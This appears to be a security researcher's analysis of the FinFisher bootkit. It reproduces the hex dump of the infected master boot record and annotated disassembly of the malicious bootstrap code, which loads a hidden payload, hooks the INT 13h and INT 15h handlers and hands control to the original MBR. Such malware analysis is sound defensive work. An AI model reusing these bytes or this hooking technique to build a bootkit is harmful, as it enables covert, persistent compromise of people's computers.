We recently investigated the FinFisher bootkit malware published by WikiLeaks. Most components of the Windows version of FinFisher are basic, so let’s skip directly to the kernel mode driver and the Bootstrap code.
The kernel mode driver directly reads and writes raw data from/onto a hard drive. The approximation of the technique used by the driver can be found in this article.
The malware makes a copy of the original master boot record (MBR) and stores it elsewhere on the hard drive. Additionally, the malware writes 0x2A00 bytes of data onto the infected hard drive. This data is later copied by the malicious Bootstrap code. The address of the first sector containing this data is hard-coded into the bootstrap code. The malware uses Logical Block Addressing (LBA) to find a physical location of the malicious data on the hard drive.
On the test machine, the MBR was overwritten with the following data:
f9fef780 fa 31 c0 8e c0 8e d8 8e d0 bc fc ff fb 88 16 34 .1.............4
f9fef790 7c 68 00 00 68 37 7c cb 18 a7 3f 01 00 00 00 00 |h..h7|...?.....
f9fef7a0 15 00 00 00 2e a7 3f 01 00 00 00 00 89 c0 89 c9 ......?.........
f9fef7b0 89 d2 31 02 00 00 00 b4 41 bb aa 55 cd 13 72 11 ..1.....A..U..r.
f9fef7c0 81 fb 55 aa 75 0b f7 c1 01 00 74 05 c6 06 36 7c ..U.u.....t...6|
f9fef7d0 01 8a 16 34 7c b4 08 cd 13 88 c8 24 3f a2 c2 7c ...4|......$?..|
f9fef7e0 88 e8 88 cc c0 ec 06 40 a3 c3 7c 30 f6 fe c2 89 .......@..|0....
f9fef7f0 16 c5 7c 66 8b 0e 18 7c 66 8b 16 1c 7c b8 00 01 ..|f...|f...|...
f9fef800 2d 20 00 8e c0 66 31 db 66 51 8c c0 05 20 00 8e - ...f1.fQ... ..
f9fef810 c0 80 3e 36 7c 01 74 06 e8 62 00 e9 03 00 e8 36 ..>6|.t..b.....6
f9fef820 00 66 59 66 81 c1 01 00 00 00 66 81 d2 00 00 00 .fYf......f.....
f9fef830 00 66 ff 0e 20 7c 75 d0 8a 16 34 7c ea 00 10 00 .f.. |u...4|....
f9fef840 00 00 00 00 00 00 00 10 00 01 00 00 00 00 00 00 ................
f9fef850 00 00 00 00 00 00 00 8c c0 a3 cd 7c 89 1e cb 7c ...........|...|
f9fef860 66 89 0e cf 7c 66 89 16 d3 7c 66 52 66 31 d2 8a f...|f...|fRf1..
f9fef870 16 34 7c be c7 7c b4 42 cd 13 66 5a c3 66 52 66 .4|..|.B..fZ.fRf
f9fef880 53 66 89 c8 66 31 d2 66 31 db 8a 1e c2 7c 66 f7 Sf..f1.f1....|f.
f9fef890 f3 66 42 88 16 c1 7c 66 31 d2 66 31 db 8b 1e c5 .fB...|f1.f1....
f9fef8a0 7c 66 f7 f3 8a 0e c1 7c 88 c5 88 d6 66 5b 8a 16 |f.....|....f[..
f9fef8b0 34 7c b8 01 02 cd 13 66 5a c3 00 00 00 00 00 00 4|.....fZ.......
f9fef8c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef8d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef8e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef8f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef930 00 00 00 00 00 00 00 00 65 f7 65 f7 00 00 80 01 ........e.e.....
f9fef940 01 00 07 fe ff ff 3f 00 00 00 d9 a6 3f 01 00 00 ......?.....?...
f9fef950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa ..............U.
By quickly glancing over the data, we can make our first observation that the Bootstrap code is changed by the malware, but the partition table information is preserved.
Malicious Bootstrap Code Analysis
Let’s review in more detail the most interesting parts of the Bootstrap code. First, it performs an Extended Disk Drive (EDD) installation check:
seg000:0037 B4 41 mov ah, 41h ; 'A'
seg000:0039 BB AA 55 mov bx, 55AAh
seg000:003C CD 13 int 13h
The malware sets a flag that indicates whether EDD is installed. This flag controls the method used by the malware to read data from a hard drive into the physical memory:
seg000:004C C6 06 36 7C 01 mov byte ptr ds:if_edd_installed, 1 ;7C36h
Next, the malware gets drive parameters:
seg000:0051 8A 16 34 7C mov dl, ds:7C34h ;drive number, first drive is 0x80
seg000:0055 B4 08 mov ah, 8
seg000:0057 CD 13 int 13h
At this moment, the malware has gathered enough information to copy the malicious blob of 0x2A00 bytes from a hard drive into the physical memory. The blob of data is copied one sector at a time. The code below is the loop that is used by the malware to copy the blob:
seg000:0091 80 3E 36 7C 01 cmp byte ptr ds:if_edd_installed, 1
seg000:0096 74 06 jz short loc_9E
seg000:0098 E8 62 00 call read_data_method_no_edd_installed
seg000:009B E9 03 00 jmp loc_A1
seg000:009E ; ---------------------------------------------------------------------------
seg000:009E
seg000:009E loc_9E:
seg000:009E E8 36 00 call read_data_method_edd_installed
seg000:00A1
seg000:00A1 loc_A1:
seg000:00A1 66 59 pop ecx
seg000:00A3 66 81 C1 01 00 00 00 add ecx, 1
seg000:00AA 66 81 D2 00 00 00 00 adc edx, 0
seg000:00B1 66 FF 0E 20 7C dec dword ptr ds:7C20h ;0x0015
seg000:00B6 75 D0 jnz short loc_88
Below is code for the function that is used to copy the data if EDD is installed:
BOOT_SECTOR:7CD7 8C C0 mov ax, es
BOOT_SECTOR:7CD9 A3 CD 7C mov word_7CCD, ax
BOOT_SECTOR:7CDC 89 1E CB 7C mov word_7CCB, bx
BOOT_SECTOR:7CE0 66 89 0E CF 7C mov dword_7CCF, ecx
BOOT_SECTOR:7CE5 66 89 16 D3 7C mov dword_7CD3, edx
BOOT_SECTOR:7CEA 66 52 push edx
BOOT_SECTOR:7CEC 66 31 D2 xor edx, edx
BOOT_SECTOR:7CEF 8A 16 34 7C mov dl, byte_7C34
BOOT_SECTOR:7CF3 BE C7 7C mov si, 7CC7h
BOOT_SECTOR:7CF6 B4 42 mov ah, 42h ; 'B'
BOOT_SECTOR:7CF8 CD 13 int 13h
; DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
For this example, the arguments before the call to INT 13h to copy the first sector of malicious data into the physical memory on the test machine are the following:
0x0000000000007cc7 <bogus+ 0>: 0x0010 0x0001 0x0000 0x0100 0xa718 0x013f
0x0000 0x0000
+0: 0x10 - packet size
+2: 0x1 - number of sectors
+4: 0x0000 - offset
+6: 0x1000 - segment
+8: 0x013fa718 - LBA
After the malware finishes copying the data, it jumps to the copied code and continues execution there:
seg000:00B8 8A 16 34 7C mov dl, ds:7C34h ;0x0000
seg000:00BC EA 00 10 00 00 jmp far ptr 0:1000h
The code at 0x1000 is the most interesting part of the malware. But before we continue the analysis, it might be a helpful reminder that the FinFisher bootkit runs in real mode. This is different from protected mode. One of the differences is that we would have to calculate physical addresses using combinations of es:di and ds:si registers.
The formula to calculate the physical addresses is (segment * 0x10) + offset. For example, if we are looking on the es:di pair, then es is our segment and di is our offset. All the addresses below are calculated using the formula above.
Now, let’s take a closer look at the most interesting parts of the code. First, the malware calculates the address of the segment where it will copy the data (this is going to be the second time the blob of data is going to be copied):
seg000:0024 88 16 1B 00 mov ds:1Bh, dl
seg000:0028 BE 13 04 mov si, 413h
seg000:002B 26 8B 04 mov ax, es:[si]
seg000:002E 66 0F B7 C0 movzx eax, ax
seg000:0032 66 C1 E0 0A shl eax, 0Ah
seg000:0036 66 2D C2 28 00 00 sub eax, 28C2h
;before the segment address is stored:
;<bochs:148> x /1hw 0x101c
;[bochs]:0x000000000000101c <bogus+ 0>: 0x00000000
seg000:003C 66 A3 1C 00 mov ds:1Ch, eax
;ds = 0x0100, ds:1ch = hex((0x0100* 0x10) + 0x1c) = 0x101c
;after the segment address is stored:
;<bochs:150> x /1hw 0x101c
;[bochs]:0x000000000000101c <bogus+ 0>: 0x0009d33e
Next, the malware installs hooks for the INT 13h and INT 15h handlers. As can be seen from the code below, the malware offers no new ideas on how to hook the low-level interrupt handlers:
seg000:0040 66 50 push eax
seg000:0042 66 C1 E8 0A shr eax, 0Ah
seg000:0046 26 89 04 mov es:[si], ax
;es=0x0000, si = 0x0413
;before:
<bochs:156> x /1hw 0x413
[bochs]:
0x0000000000000413 <bogus+ 0>: 0x0000027f
;after:
;<bochs:158> x /1hw 0x413
[bochs]:
0x0000000000000413 <bogus+ 0>: 0x00000274
seg000:0049 66 58 pop eax
seg000:004B
seg000:004B loc_4B:
seg000:004B
seg000:004B 66 C1 E8 04 shr eax, 4
seg000:004F A3 22 00 mov ds:22h, ax
;ax = 0x9d33
;after:
;<bochs:167> x /1hh 0x1022
[bochs]:
0x0000000000001022 <bogus+ 0>: 0x9d33
seg000:0052 FA cli
seg000:0053 loc_53:
seg000:0053 8C D8 mov ax, ds
seg000:0055 8E C0 mov es, ax
seg000:0057 66 B8 20 E8 00 00 mov eax, 0E820h
;get system memory map
seg000:005D 66 BA 50 41 4D 53 mov edx, 534D4150h ;"SMAP"
seg000:0063 66 31 DB xor ebx, ebx
;start at the beginning of the map.
seg000:0066 66 31 FF xor edi, edi
seg000:0069 BF 26 01 mov di, 126h
;es:di buffer that gets the result.
;es = 0x100, di = 0x0126
seg000:006C 26 66 C7 45 14 01 00 00+ mov dword ptr es:[di+14h], 1
seg000:0075 66 B9 18 00 00 00 mov ecx, 18h
;size of the buffer.
seg000:007B CD 15 int 15h
;BIOS Memory Services
seg000:007D 72 34 jb short loc_B3
seg000:007F 66 3D 50 41 4D 53 cmp eax, 534D4150h
;check if "SMAP"
seg000:0085 75 2C jnz short loc_B3
seg000:0087 66 85 DB test ebx, ebx
seg000:008A 74 27 jz short loc_B3
seg000:008C db 3Eh
seg000:008C 3E 66 89 1E F2 02 mov ds:2F2h, ebx
;holds continuation value
;ds = 0x100, physical address 0x12f2
seg000:0092 66 31 C0 xor eax, eax
seg000:0095 8E C0 mov es, ax
seg000:0097 assume es:nothing
seg000:0097 26 66 A1 54 00 mov eax, dword ptr es:int_15_h ;IVTABLE:0054
seg000:009C db 3Eh
;debug001:12EE 00 00 00 00 dword_12EE dd 0
;debug001:12F2 01 00 00 00 dword_12F2 dd 1
seg000:009C 3E 66 A3 EE 02 mov ds:2EEh, eax
;debug001:12EE 59 F8 00 F0 dword_12EE dd 0F000F859h
;debug001:12F2 01 00 00 00 dword_12F2 dd 1
seg000:00A1 A1 22 00 mov ax, ds:22h ;segment_hook
;previously calculated value 0x9d33
seg000:00A4 66 C1 E0 10 shl eax, 10h
seg000:00A8 66 05 42 01 00 00 add eax, 142h
;before hook is installed:
IVTABLE:004C FE E3 00 F0 dword_4C dd 0F000E3FEh
IVTABLE:004C
IVTABLE:0050 39 E7 word_50 dw 0E739h
IVTABLE:0052 00 F0 word_52 dw 0F000h
IVTABLE:0054 59 F8 00 F0 dword_54 dd 0F000F859h
IVTABLE:0054
seg000:00AE 26 66 A3 54 00 mov dword ptr es:int_15_h, eax ;hooks INT15h
;<bochs:206> x /1hw 0x54
[bochs]:
0x0000000000000054 <bogus+ 0>: 0x9d330142
;IVTABLE:0054 42 01 word_54 dw 142h ;offset
;IVTABLE:0056 33 9D dw 9D33h ;segment
seg000:00B3 loc_B3:
seg000:00B3 66 31 C0 xor eax, eax
seg000:00B6 8E C0 mov es, ax
seg000:00B8 26 66 A1 4C 00 mov eax, dword ptr es:int_13_h
;before:
;debug001:11D4 00 00 00 00 int_13_original dd 0
;after:
;debug001:11D4 FE E3 00 F0 int_13_original dd 0F000E3FEh
seg000:00BD db 3Eh
seg000:00BD 3E 66 A3 D4 01 mov ds:1D4h, eax
;debug001:11CC FE E3 00 F0 int_13_original_1 dd 0F000E3FEh
seg000:00C2 3E 66 A3 CC 01 mov ds:1CCh, eax
seg000:00C7 A1 22 00 mov ax, ds:22h
;0x9d33
seg000:00CA 66 C1 E0 10 shl eax, 10h
seg000:00CE db 3Eh
seg000:00CE 3E 66 A3 51 02 mov ds:251h, eax
;before:
;debug001:1251 00 00 00 00 hook_segment dd 0
;after:
;debug001:1251 00 00 33 9D hook_segment dd 9D330000h
seg000:00D3 66 05 12 01 00 00 add eax, 112h
seg000:00D9 26 66 A3 4C 00 mov dword ptr es:loc_4B+1, eax ;hooks INT13h
;es = 0x00 eax = 0x112
;IVT after both INT 13h and INT 15h hooks are installed:
IVTABLE:004C 12 01 int_13_h dw 112h ; offset
IVTABLE:004E 33 9D dw 9D33h ; segment
IVTABLE:0050 39 E7 word_50 dw 0E739h
IVTABLE:0052 00 F0 word_52 dw 0F000h
IVTABLE:0054 42 01 int_15_h dw 142h ; offset
IVTABLE:0056 33 9D dw 9D33h ; segment
At this point, hooks are installed for INT 13h and INT 15h, but the code for the functions that hooks INTs is yet to be copied to the calculated segment. The obvious next step for the malware is to copy the code for the hooked handlers:
seg000:00DE A1 22 00 mov ax, ds:22h
seg000:00E1 8E C0 mov es, ax
seg000:00E3 31 FF xor di, di
seg000:00E5 B9 C2 28 mov cx, 28C2h
seg000:00E8 FC cld
seg000:00E9 BE 3E 01 mov si, 13Eh
seg000:00EC F3 A4 rep movsb
;si = 0x013e - source of the data to be copied.
;di = 0x0000 - destination
;cx = 0x28c2 - number of bytes to be copied.
;ds = 0x0100, es = 0x9d33
;the actual physical addresses of the source is ds:[si] =
;hex((0x0100 * 0x10) + 0x13e) = 0x113e
;the physical address of the destination is es:[di] =
;hex((0x9dd3 * 0x10) + 0x0000) = 0x9dd30
;copies all the data copied in the first stage except for the first 0x13e bytes.
;hex(0x2a00-0x28c2) = 0x13e
At this point, the malware is ready to return the control to the original MBR, but first, it needs to restore the original MBR to the 0x7C00 (the sector that holds the copy of the original MBR is stored elsewhere on the hard drive), and then it passes an execution to the original MBR:
seg000:00EE FB sti
seg000:00EF 66 8B 0E 13 00 mov ecx, ds:13h
seg000:00F4 66 8B 16 17 00 mov edx, ds:17h
seg000:00F9 66 89 0E 1E 01 mov ds:11Eh, ecx
seg000:00FE 66 89 16 22 01 mov ds:122h, edx
seg000:0103 BE 16 01 mov si, 116h ;buffer
;ds = 0x0100, address 0x1116
seg000:0106 BB AA 55 mov bx, 55AAh
seg000:0109 8A 16 1B 00 mov dl, ds:1Bh ;drive number here 0x80
seg000:010D B4 42 mov ah, 42h ; 'B'
seg000:010F CD 13 int 13h
;DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
;INT 13h is hooked now
;debug003:0112 EA 00 00 33 9D jmp far ptr loc_9D330
;<bochs:267> x /10hh 0x1116
[bochs]:
0x0000000000001116 <bogus+ 0>: 0x0010 0x0001 0x7c00 0x0000 0xa72d 0x013f 0x
0000 0x0000
0x0000000000001126 <bogus+ 16>: 0x0000 0x0000
size of the packet 0x0010
number of blocks to transfer = 0x0001
destination 0x7c00
LBA: 0x013fa7d2
;Jumps to the original MBR here:
seg000:0111 EA 00 7C 00 00 jmp far ptr 0:7C00h
What Can We Learn From the FinFisher Bootkit?
The given sample for the FinFisher bootkit does not provide any new techniques or improvements over other bootkits. The malware writers decided to install hooks for INT 13h and INT 15h handlers before the code for these handlers was copied into the memory; this can be a recipe for disaster. For example, if the code for hooked handler functions would fail to copy, this might cause the system to crash.
I’d like to give special thanks to Doug Franklin, Mark Vincent Yason and Robert Freeman.
X-Force Advanced Researcher